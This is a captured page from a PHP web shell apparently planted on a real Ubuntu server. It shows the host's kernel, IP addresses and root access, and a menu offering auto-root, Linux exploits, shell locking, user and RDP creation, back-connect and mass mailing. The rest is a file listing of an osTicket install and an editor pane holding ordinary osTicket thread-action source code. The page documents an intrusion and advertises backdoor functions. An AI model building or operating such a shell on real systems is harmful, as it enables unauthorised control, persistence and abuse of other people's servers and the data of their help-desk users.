Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.thread_actions.php
<?php /********************************************************************* class.thread_actions.php Actions for thread entries. This serves as a simple repository for drop-down actions which can be triggered on the ticket-view page for an object's thread. Jared Hancock <jared@osticket.com> Peter Rotich <peter@osticket.com> Copyright (c) 2006-2014 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ include_once(INCLUDE_DIR.'class.thread.php'); class TEA_ShowEmailRecipients extends ThreadEntryAction { static $id = 'emailrecipients'; static $name = /* trans */ 'View Email Recipients'; static $icon = 'group'; function isVisible() { global $thisstaff; if ($this->entry->getEmailHeader()) return ($thisstaff && $this->entry->getEmailHeader()); elseif ($this->entry->recipients) return $this->entry->recipients; } function getJsStub() { return sprintf("$.dialog('%s');", $this->getAjaxUrl() ); } function trigger() { switch ($_SERVER['REQUEST_METHOD']) { case 'GET' && $this->entry->recipients: return $this->getRecipients(); case 'GET': return $this->trigger__get(); } } private function trigger__get() { $hdr = Mail_parse::splitHeaders( $this->entry->getEmailHeader(), true); $recipients = array(); foreach (array('To', 'TO', 'Cc', 'CC') as $k) { if (isset($hdr[$k]) && $hdr[$k] && ($addresses=Mail_Parse::parseAddressList($hdr[$k]))) { foreach ($addresses as $addr) { $email = sprintf('%s@%s', $addr->mailbox, $addr->host); $name = $addr->personal ?: ''; $recipients[$k][] = sprintf('%s<%s>', (($name && strcasecmp($name, $email))? "$name ": ''), $email); } } } include STAFFINC_DIR . 'templates/thread-email-recipients.tmpl.php'; } private function getRecipients() { $recipients = json_decode($this->entry->recipients, true); include STAFFINC_DIR . 'templates/thread-email-recipients.tmpl.php'; } } ThreadEntry::registerAction(/* trans */ 'E-Mail', 'TEA_ShowEmailRecipients'); class TEA_ShowEmailHeaders extends ThreadEntryAction { static $id = 'view_headers'; static $name = /* trans */ 'View Email Headers'; static $icon = 'envelope'; function isVisible() { global $thisstaff; if (!$this->entry->getEmailHeader()) return false; return $thisstaff && $thisstaff->isAdmin(); } function getJsStub() { return sprintf("$.dialog('%s');", $this->getAjaxUrl() ); } function trigger() { switch ($_SERVER['REQUEST_METHOD']) { case 'GET': return $this->trigger__get(); } } private function trigger__get() { $headers = $this->entry->getEmailHeader(); include STAFFINC_DIR . 'templates/thread-email-headers.tmpl.php'; } } ThreadEntry::registerAction(/* trans */ 'E-Mail', 'TEA_ShowEmailHeaders'); class TEA_EditThreadEntry extends ThreadEntryAction { static $id = 'edit'; static $name = /* trans */ 'Edit'; static $icon = 'pencil'; function isVisible() { // Can't edit system posts return ($this->entry->staff_id || $this->entry->user_id) && $this->entry->type != 'R' && $this->isEnabled(); } function isEnabled() { global $thisstaff; $T = $this->entry->getThread()->getObject(); // You can edit your own posts or posts by your department members // if your a manager, or everyone's if your an admin return $thisstaff && ( $thisstaff->getId() == $this->entry->staff_id || ($T instanceof Ticket && $T->getDept()->getManagerId() == $thisstaff->getId() ) || ($T instanceof Ticket && ($role = $thisstaff->getRole($T->getDeptId(), $T->isAssigned($thisstaff))) && $role->hasPerm(ThreadEntry::PERM_EDIT) ) || ($T instanceof Task && $T->getDept()->getManagerId() == $thisstaff->getId() ) || ($T instanceof Task && ($role = $thisstaff->getRole($T->getDeptId(), $T->isAssigned($thisstaff))) && $role->hasPerm(ThreadEntry::PERM_EDIT) ) ); } function getJsStub() { return sprintf(<<<JS var url = '%s'; $.dialog(url, [201], function(xhr, resp) { var json = JSON.parse(resp); if (!json || !json.thread_id) return; $('#thread-entry-'+json.thread_id) .attr('id', 'thread-entry-' + json.new_id) .html(json.entry) .find('.thread-body') .delay(500) .effect('highlight'); }, {size:'large'}); JS , $this->getAjaxUrl()); } function trigger() { switch ($_SERVER['REQUEST_METHOD']) { case 'GET': return $this->trigger__get(); case 'POST': return $this->trigger__post(); } } protected function trigger__get() { global $cfg, $thisstaff; $poster = $this->entry->getStaff(); include STAFFINC_DIR . 'templates/thread-entry-edit.tmpl.php'; } function updateEntry($guard=false) { global $thisstaff; $old = $this->entry; $new = ThreadEntryBody::fromFormattedText($_POST['body'], $old->format); if ($new->getClean() == $old->getBody()) // No update was performed return $old; $entry = ThreadEntry::create(array( // Copy most information from the old entry 'poster' => $old->poster, 'userId' => $old->user_id, 'staffId' => $old->staff_id, 'type' => $old->type, 'threadId' => $old->thread_id, 'recipients' => $old->recipients, // Connect the new entry to be a child of the previous 'pid' => $old->id, // Add in new stuff 'title' => Format::htmlchars($_POST['title']), 'body' => $new, 'ip_address' => $_SERVER['REMOTE_ADDR'], )); if (!$entry) return false; // Note, anything that points to the $old entry as PID should remain // that way for email header lookups and such to remain consistent if ($old->flags & ThreadEntry::FLAG_EDITED // If editing another person's edit, make a new entry and ($old->editor == $thisstaff->getId() && $old->editor_type == 'S') and !($old->flags & ThreadEntry::FLAG_GUARDED) ) { // Replace previous edit -------------------------- $original = $old->getParent(); // Link the new entry to the old id $entry->pid = $old->pid; // Drop the previous edit, and base this edit off the original $old->delete(); $old = $original; } // Move the attachments to the new entry $old->attachments->filter(array( 'inline' => false, ))->update(array( 'object_id' => $entry->id )); // Mark the new entry as edited (but not hidden nor guarded) $entry->flags = ($old->flags & ~(ThreadEntry::FLAG_HIDDEN | ThreadEntry::FLAG_GUARDED)) | ThreadEntry::FLAG_EDITED; // Guard against deletes on future edit if requested. This is done // if an email was triggered by the last edit. In such a case, it // should not be replaced by a subsequent edit. if ($guard) $entry->flags |= ThreadEntry::FLAG_GUARDED; // Log the editor $entry->editor = $thisstaff->getId(); $entry->editor_type = 'S'; // Sort in the same place in the thread $entry->created = $old->created; $entry->updated = SqlFunction::NOW(); $entry->save(true); // Hide the old entry from the object thread $old->flags |= ThreadEntry::FLAG_HIDDEN; $old->save(); return $entry; } protected function trigger__post() { global $thisstaff; if (!($entry = $this->updateEntry())) return $this->trigger__get(); ob_start(); include STAFFINC_DIR . 'templates/thread-entry.tmpl.php'; $content = ob_get_clean(); Http::response('201', JsonDataEncoder::encode(array( 'thread_id' => $this->entry->id, # This is the old id! 'new_id' => $entry->id, 'entry' => $content, ))); } } ThreadEntry::registerAction(/* trans */ 'Manage', 'TEA_EditThreadEntry'); class TEA_OrigThreadEntry extends ThreadEntryAction { static $id = 'previous'; static $name = /* trans */ 'View History'; static $icon = 'copy'; function isVisible() { // Can't edit system posts return $this->entry->flags & ThreadEntry::FLAG_EDITED; } function getJsStub() { return sprintf("$.dialog('%s');", $this->getAjaxUrl() ); } function trigger() { switch ($_SERVER['REQUEST_METHOD']) { case 'GET': return $this->trigger__get(); } } private function trigger__get() { global $thisstaff; if (!$this->entry->getParent()) Http::response(404, 'No history for this entry'); $entry = $this->entry; include STAFFINC_DIR . 'templates/thread-entry-view.tmpl.php'; } } ThreadEntry::registerAction(/* trans */ 'Manage', 'TEA_OrigThreadEntry'); class TEA_EditAndResendThreadEntry extends TEA_EditThreadEntry { static $id = 'edit_resend'; static $name = /* trans */ 'Edit and Resend'; static $icon = 'reply-all'; function isVisible() { // Can only resend replies return $this->entry->staff_id && $this->entry->type == 'R' && $this->isEnabled(); } protected function trigger__post() { $resend = @$_POST['commit'] == 'resend'; if (!($entry = $this->updateEntry($resend))) return $this->trigger__get(); if ($resend) $this->resend($entry); ob_start(); include STAFFINC_DIR . 'templates/thread-entry.tmpl.php'; $content = ob_get_clean(); Http::response('201', JsonDataEncoder::encode(array( 'thread_id' => $this->entry->id, # This is the old id! 'new_id' => $entry->id, 'entry' => $content, ))); } function resend($response) { global $cfg, $thisstaff; if (!($object = $response->getThread()->getObject())) return false; $vars = $_POST; $dept = $object->getDept(); $poster = $response->getStaff(); if ($thisstaff && $vars['signature'] == 'mine') $signature = $thisstaff->getSignature(); elseif ($poster && $vars['signature'] == 'theirs') $signature = $poster->getSignature(); elseif ($vars['signature'] == 'dept' && $dept && $dept->isPublic()) $signature = $dept->getSignature(); else $signature = ''; $variables = array( 'response' => $response, 'signature' => $signature, 'staff' => $response->getStaff(), 'poster' => $response->getStaff()); $options = array('thread' => $response); // Resend response to collabs if (($object instanceof Ticket) && ($email=$dept->getEmail()) && ($tpl = $dept->getTemplate()) && ($msg=$tpl->getReplyMsgTemplate())) { $recipients = json_decode($response->recipients, true); $msg = $object->replaceVars($msg->asArray(), $variables + array('recipient' => $object->getOwner())); $attachments = $cfg->emailAttachments() ? $response->getAttachments() : array(); $email->send($object->getOwner(), $msg['subj'], $msg['body'], $attachments, $options, $recipients); } // TODO: Add an option to the dialog if ($object instanceof Task) $object->notifyCollaborators($response, array('signature' => $signature)); // Log an event that the item was resent $object->logEvent('resent', array('entry' => $response->id)); $type = array('type' => 'resent'); Signal::send('object.edited', $object, $type); // Flag the entry as resent $response->flags |= ThreadEntry::FLAG_RESENT; $response->save(); } } ThreadEntry::registerAction(/* trans */ 'Manage', 'TEA_EditAndResendThreadEntry'); class TEA_ResendThreadEntry extends TEA_EditAndResendThreadEntry { static $id = 'resend'; static $name = /* trans */ 'Resend'; static $icon = 'reply-all'; function isVisible() { // Can only resend replies return $this->entry->staff_id && $this->entry->type == 'R' && !parent::isEnabled(); } function isEnabled() { return true; } protected function trigger__get() { global $cfg, $thisstaff; $poster = $this->entry->getStaff(); include STAFFINC_DIR . 'templates/thread-entry-resend.tmpl.php'; } protected function trigger__post() { $resend = @$_POST['commit'] == 'resend'; if (@$_POST['commit'] == 'resend') $this->resend($this->entry); Http::response('201', 'Okee dokey'); } } ThreadEntry::registerAction(/* trans */ 'Manage', 'TEA_ResendThreadEntry'); /* Create a new ticket from thread entry as description */ class TEA_CreateTicket extends ThreadEntryAction { static $id = 'create_ticket'; static $name = /* trans */ 'Create Ticket'; static $icon = 'plus'; function isVisible() { global $thisstaff; return $thisstaff && $thisstaff->hasPerm(Ticket::PERM_CREATE, false); } function getJsStub() { return sprintf(<<<JS window.location.href = '%s'; JS , $this->getCreateTicketUrl() ); } function trigger() { switch ($_SERVER['REQUEST_METHOD']) { case 'GET': return $this->trigger__get(); } } private function trigger__get() { Http::redirect($this->getCreateTicketUrl()); } private function getCreateTicketUrl() { return sprintf('tickets.php?a=open&tid=%d', $this->entry->getId()); } } ThreadEntry::registerAction(/* trans */ 'Manage', 'TEA_CreateTicket'); class TEA_CreateTask extends ThreadEntryAction { static $id = 'create_task'; static $name = /* trans */ 'Create Task'; static $icon = 'plus'; function isVisible() { global $thisstaff; return $thisstaff && $thisstaff->hasPerm(Task::PERM_CREATE, false); } function getJsStub() { return sprintf(<<<JS var url = '%s'; var redirect = $(this).data('redirect'); $.dialog(url, [201], function(xhr, resp) { if (!!redirect) $.pjax({url: redirect, container: '#pjax-container'}); else $.pjax({url: '%s.php?id=%d#tasks', container: '#pjax-container'}); }); JS , $this->getAjaxUrl(), $this->entry->getThread()->getObjectType() == 'T' ? 'tickets' : 'tasks', $this->entry->getThread()->getObjectId() ); } function trigger() { switch ($_SERVER['REQUEST_METHOD']) { case 'GET': return $this->trigger__get(); case 'POST': return $this->trigger__post(); } } private function trigger__get() { $vars = array( 'description' => Format::htmlchars($this->entry->getBody())); if ($_SESSION[':form-data']) unset($_SESSION[':form-data']); $_SESSION[':form-data']['tid'] = $this->entry->getThread()->getObJectId(); $_SESSION[':form-data']['eid'] = $this->entry->getId(); $_SESSION[':form-data']['timestamp'] = $this->entry->getCreateDate(); $_SESSION[':form-data']['type'] = $this->entry->getThread()->object_type; if (($f= TaskForm::getInstance()->getField('description'))) { $k = 'attach:'.$f->getId(); unset($_SESSION[':form-data'][$k]); foreach ($this->entry->getAttachments() as $a) if (!$a->inline && $a->file) { $_SESSION[':form-data'][$k][$a->file->getId()] = $a->getFilename(); $_SESSION[':uploadedFiles'][$a->file->getId()] = $a->getFilename(); } } if ($this->entry->getThread()->getObjectType() == 'T') return $this->getTicketsAPI()->addTask($this->getObjectId(), $vars); else return $this->getTasksAPI()->add($this->getObjectId(), $vars); } private function trigger__post() { if ($this->entry->getThread()->getObjectType() == 'T') return $this->getTicketsAPI()->addTask($this->getObjectId()); else return $this->getTasksAPI()->add($this->getObjectId()); } } ThreadEntry::registerAction(/* trans */ 'Manage', 'TEA_CreateTask');
Close